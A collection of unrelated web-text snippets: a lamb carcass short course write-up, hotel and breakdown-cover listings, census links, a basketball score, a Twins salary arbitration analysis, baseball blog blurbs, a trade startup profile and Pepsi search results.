?I like the idea of what we?ve done. First, selecting our own animal and following it through to the cutting floor and fabricating it,? says Dale Duerr, Lamb 509 participant and sheep producer from Tuscarawas County in Ohio. ?It?s a total experience from live animal to eatable product.?
A small group of hair sheep producers from southwest Virginia also attended this course because it provided them with their first opportunity to receive a hands-on experience of fabricating a carcass, grading and judging it.
?I now feel I am very capable of judging which animals on my farm are ready for harvest,? says Tom Mewbourne of Nickelsville, Va. ?This information is terrific for us to learn, plus I can teach it to other members of the Scott County Hair Sheep Association.?
No different from the previous two courses, the Lamb 509 Short Course offered in December 2004 was strongly attended.
?I think we are in a trend in which people want to learn more about what they are producing,? says High. ?We may be filling the gap of what they don?t know and hopefully when they leave, they have a better understanding of what they do know.?
The next Lamb 509 Short Course will be offered in conjunction with the National Lamb Feeders Association Howard Wyman Sheep Industry Leadership School July 10-14, 2005. For more information visit www.nlfa-sheep.orgor call 503?370-7024.


text:
UK breakdown cover
– buy online
Get a quoteArrange cover over the phone
Call us on 0800 085 2721
Broken down?
We can help – call us now
0800 88 77 66
There are 13 results - Show results on a map Print this page
Showing 11 - 13 of 13
The Lovat Hotel offers a comfortable and relaxing atmosphere just a short walk from the centre of Perth. Accommodation consists of comfortable, modern bedrooms, and guests can enjoy a great dining exp...
More about BEST WESTERN Lovat HotelPERTH
Convenient for the town and major roads, Cherrybank Guesthouse offers well equipped and beautifully presented bedrooms, one of which is on the ground floor. The delightful lounge is ideal for relaxati...
More about Cherrybank GuesthouseDUNDEE
Well located off Kingsway West with ample parking, this hotel offers contemporary bedrooms that are equipped with many thoughtful extras. The restaurant overlooks the gardens which are a feature at th...
More about DoubleTree by Hilton Dundee


text:
Keyword Browse Exact
Search for:
Search By: keyword author title subject series periodical title isbn Advanced Search
Limit search to Adult level material
American Factfinder – FactFinder offers quick access to demographic data about any town, city or county.
United States Census Home Page – Direct links to census data as well as an in-depth subject index.
2010 Census Interactive Population Search
Census Bureau Releases 2010 Census Demographic Profiles for the District of Columbia, Florida, Kentucky, Maine, Massachusetts, Michigan, Mississippi, New Mexico, North Dakota, Rhode Island, South Carolina, Tennessee and West Virginia
Back to Top


text:
Benet went strong and laid it on Hinsdale central 61 to 28. Strong effort from the seniors lead the way.
Hinsdale South Tip Off 2011 - Varsity Basketball Tournament. Benet Academy vs Hinsdale Central High School. Friday, November 25, 2011. Tip-off 6:00pm Central Time
Final Score: 28 HIN, 61 BEN


text:
It doesn't happen often, but every few years the Twins can't work through an arbitration case with a player and they go through the arbitration process. The last player that wasn't able to find a midway point was Kyle Lohse back in both 2005 and 2006, which wasn't a surprise at the time.
Casilla made $865,000, and after hitting .260/.322/.368 with a pair of homers, 21 RBI and 15 stolen bases in 97 games last season has submitted $1.75 million for his 2012 salary. The Twins offered $1.065 million. For an objective look into these numbers, in an effort to see which side is most likely to come out of the arbitration hearing as a winner, let's look at a comp list that we'll swipe from MLBTR's post earlier today.
Join us for the breakdown after the jump.
Player |
Year |
Prev Year |
Next Year |
% Increase |
Aaron Miles |
2007 |
40% |
Alfredo Amezaga |
2008 |
38% |
Jeff Baker |
2010 |
79% |
Alexi Casilla |
2011 |
?? |
?? |
None of these infielders had particularly successful campaigns in their previous season, but of course received raisese regardless. Miles, in his age-30 season, hit .290 with a pair of homers in 133 games. Amezaga hit .264 with three homers in 125 games, in his age-29 season. Baker (also 29) hit .272 with four homers in 79 games. Casilla, Miles, and Amezaga all had an OPS under .700, while Baker managed .739.
Casilla's potential raises
Casilla Wins: $1.75 million, 102% raise
Twins Win: $1.065 million, 23% raise
Midway: $1.407 million, 63% raise
It's hard to believe that either the Twins or Casilla would go to arbitration over $700,000, but that's exactly what's happening. Considering that the midway point would have constituted a 63% raise, that's already more than a fair increase based on Casilla's history. Either the Twins took a hard line ofer that $350,000, or Casilla's side did.
There's no doubt that Minnesota's numbers come in a little low. A 23% raise, even considering Casilla's mediocre performance (he hit worse than the average second baseman in both the American and National Leagues), is below what players expect. But that's how the game is played.
Conversely, players are expected to submit numbers slightly higher than they'd expect. This is where the issue is, because Casilla's agent is looking for his salary to double in spite of the fact that he's done nothing remotely close to earning that kind of compensation.
Going back to Baker, who received a raise much larger than Miles or Amezaga, his raise was huge in some part because arbitration doesn't just look at the prior season - it also looks at the season before that. Which means that his 79% increase was due in some part to hitting .305/.362/.448 with the Cubs in '09.
Casilla, in spite of having a slightly better '10 (.276/.331/.395 in just 69 games), can't boast that his numbers justify his raise.
There's a disconnect between what Casilla's agent believes Alexi is worth, and what he is actually worth. If Casilla's camp had come in a bit closer to reality (asking for a 60% raise would have given Casilla approximately a $1.4 million salary), then I have no doubt that the two sides would have come to an agreement already. Instead, a process which isn't supposed to be personal will be. When two opposing sides are talking about a player's value, it's impossible for it to not be at least a little personal. It's opening a door that can't be closed, and who knows what will come out the other side.
The Twins offer is low. But they should win this hearing, as much as arbitration cases can be won - in terms of money - because Casilla's camp came in so ridiculously high. It's not the dollars in this case; $700,000 isn't a massive gap, and the $350,000 difference to the midway point is almost negligible to a team's payroll. The difference is in the percentages, and calling this judgement just seems too easy.


text:
Who are Arizona's MVP and Cy Young right now? Should Paul Goldschmidt be the NL All-Star Game starting first baseman? What do the Diamondbacks need to do to stay atop the NL West? Charlie Gebow of AZ Snake Pit answers all of these questions and more.
Should the Giants trade for Ricky Nolasco? What was it like to get no-hit by Homer Bailey? Why have the Giants gone 1-9 over their last 10? Grant Brisbee of McCovey Chronicles answers all these questions and more for True Blue LA.
Who is the Rockies Cy Young AND MVP right now? How has Colorado dealt with the Tulowitzki's injury? Is the team relying on Carlos Gonzalez to hover around .500? Greg Stanwood from Purple Row answers all these questions and more for True Blue LA.
The Dodgers haven't played the Phillies in 2013, therefore Elizabeth Roscher stopped by to help us become familiar with their team.
Who are San Francisco's MVP and Cy Young right now? Should Puig go to the All-Star Game? How important is Buster Posey to the team? Brisbee answers all of those questions and more for True Blue LA.
The Dodgers have won six straight home games against the Pirates and are 28-7 against Pittsburgh at Dodger Stadium dating back to 2003.
For the second time in three years, the Dodgers open at home against the defending World Series champs. Here is a look at the pitchers for the three-game series.
The Dodgers weren't the only team to spend money this offseason, as the Giants are bringing most of the band back together for another playoff run.
The Diamondbacks weren't able to repeat as division winners in 2012. Will the National League West's busiest team of the offseason contend in 2013?
Are the young Padres ready for contention, or will they finish below .500 for a third straight season?
We'll email you a reset link.
If you signed up using a 3rd party account like Facebook or Twitter, please login with it instead.
You must be a member of True Blue LA to participate.
We have our own Community Guidelines at True Blue LA. You should read them.
You must be a member of True Blue LA to participate.
We have our own Community Guidelines at True Blue LA. You should read them.
Choose an available username to complete sign up.
In order to provide our users with a better overall experience, we ask for more information from Facebook when using it to login so that we can learn more about our audience and provide you with the best possible experience. We do not store specific user data and the sharing of it is not required to login with Facebook.


text:
- Get Exposure!
- Register and create your startup profile »
- Sign in
TigerTrade is a business-to-business website that helps firms connect, manage, and grow their business in developing world markets.
Through the TigerTrade website, developing country firms can build profiles, showcase their products, and connect with international buyers. International firms can explore developing world markets on-line, search for partners, and build business relationships to increase distribution and sales.
TigerTrade also provides information, tools, resources, and services needed for international trade and business development.
TigerTrade is launching in the US and Indonesia in November 2010, focusing on the apparel, textiles, footwear, furnishings, and home accessories industries.
Through the TigerTrade website, companies can:
Founder & CEO, Tanjila Islam. Ms. Islam oversees the operations, expansion, and development of TigerTrade. She brings extensive experience as an economic development and international business development expert. Her areas of expertise include SME development, trade and export promotion, market linkages, and facilitating access to finance. She has designed and managed multi-million dollar private sector development programs in countries such as Afghanistan, Bangladesh, and Indonesia. She has built businesses and promoted trade efforts worldwide and is adept at managing multiple teams across countries. Her clients include USAID, the World Bank, the International Finance Corporation, and the Asian Development Bank. Most recently, Ms. Islam served as the Director of Agricultural Trade Fairs for the USAID-funded Accelerating Sustainable Agriculture Program in Afghanistan, where she managed a 50-person team and facilitated multi-million dollar business deals with international buyers. She has an extensive network of international buyers in the US and worldwide. Ms. Islam holds a B.A. from Columbia University, an M.A. from New York University, and an M.I.A. in International Economic Policy from Columbia University's School of International and Public Affairs. Ms. Islam speaks Arabic, Bengali, English, and Spanish.
Director, Business Development, Bhavna Lal. Ms. Lal, who manages partnership-building, marketing and outreach, and activities, has over ten years of experience in marketing and sales, partnership-building, international economic development, and applied sustainable development. She supports businesses in devising strategic marketing initiatives in order to enhance brand awareness, increase sale conversion rates, identify advantageous advertising outlets, and create a full assortment of marketing collateral. Ms. Lal served as Manager of the USAID-funded Mongolia Economic Policy Reform and Competitiveness project, where she facilitated a cashmere supplier trip from Mongolia to the U.S. Ms. Lal has managed USAID-funded international development projects across Asia and sub-Saharan Africa, including India, Nepal, Mongolia, Mozambique, Lesotho, Swaziland, Namibia, and South Africa. Ms. Lal has a B.A. in International Affairs and Politics from The George Washington University and an M.B.A. from Babson College. She speaks English, Hindi, and French.
TigerTrade derives its earnings from membership fees from buyers and suppliers, listing fees from service providers, and advertising from trade events and publications. Silver membership is free and allows access to TigerTrade's business tools, resources, and trainings. To post a company profile and connect with other firms through TigerTrade's secure e-portal, companies pay an annual fee for Gold or Platinum membership. TigerTrade vets and certifies all paid premium members to ensure a trusted partner network.
TigerTrade's competitive advantages include:
1) TigerTrade's knowledge of and focus on developing country markets.
2) TigerTrade's vetting and rating system for members builds a trusted partner network.
3) TigerTrade's business content. TigerTrade provides access to country and industry profiles and a variety of resources, tools, and trainings to help firms engage in international trade.
4) TigerTrade's user-friendly website. The TigerTrade website is intuitive and easy to navigate, making it easy to search for potential business partners and find business information.
5) TigerTrade's partnership approach. TigerTrade's unique business model leverages the private sector, donor-funded, and government-sponsored resources available for business connection and growth and makes them available for businesses in both developed and developing countries.
6) As a social venture, TigerTrade is building a global brand-name as a company with a social commitment to building business, expanding economic opportunities, and catalyzing broad-based economic growth.


text:
Mountain Dew Appearances
Related Characters
A.D. Huesing
Home Pepsi World About Us Employees Customers Just Visiting Pepsi Products Rockstar ... AD Huesing - Pepsi, Powered and designed byTotal Media valid xhtml valid css ... 0 Up Votes, 0 Down Votes, 340 Clicks, Rank of 342 |
Home Page :: Pepsi Race Day Payday
The name, likeness and signature of Jeff Gordon and the likeness of the #24 DuPont/Pepsi Chevrolet are used with the permission of Jeff Gordon, Inc. ... 0 Up Votes, 0 Down Votes, 296 Clicks, Rank of 298 |
Pepsi: News & Coverage on New York Magazine
Recent news and coverage of pepsi. ... Frank Bruni is not an all-hours kind of guy, the new pizza bus tour finds success, and Pepsi and Coke put out new bottle sizes. ... 0 Up Votes, 0 Down Votes, 155 Clicks, Rank of 157 |
The brand was trademarked on June 16, 1903. There have been many Pepsi variants ... Pepsi is a carbonated soft drink produced and manufactured by PepsiCo. ... 0 Up Votes, 0 Down Votes, 79 Clicks, Rank of 81 |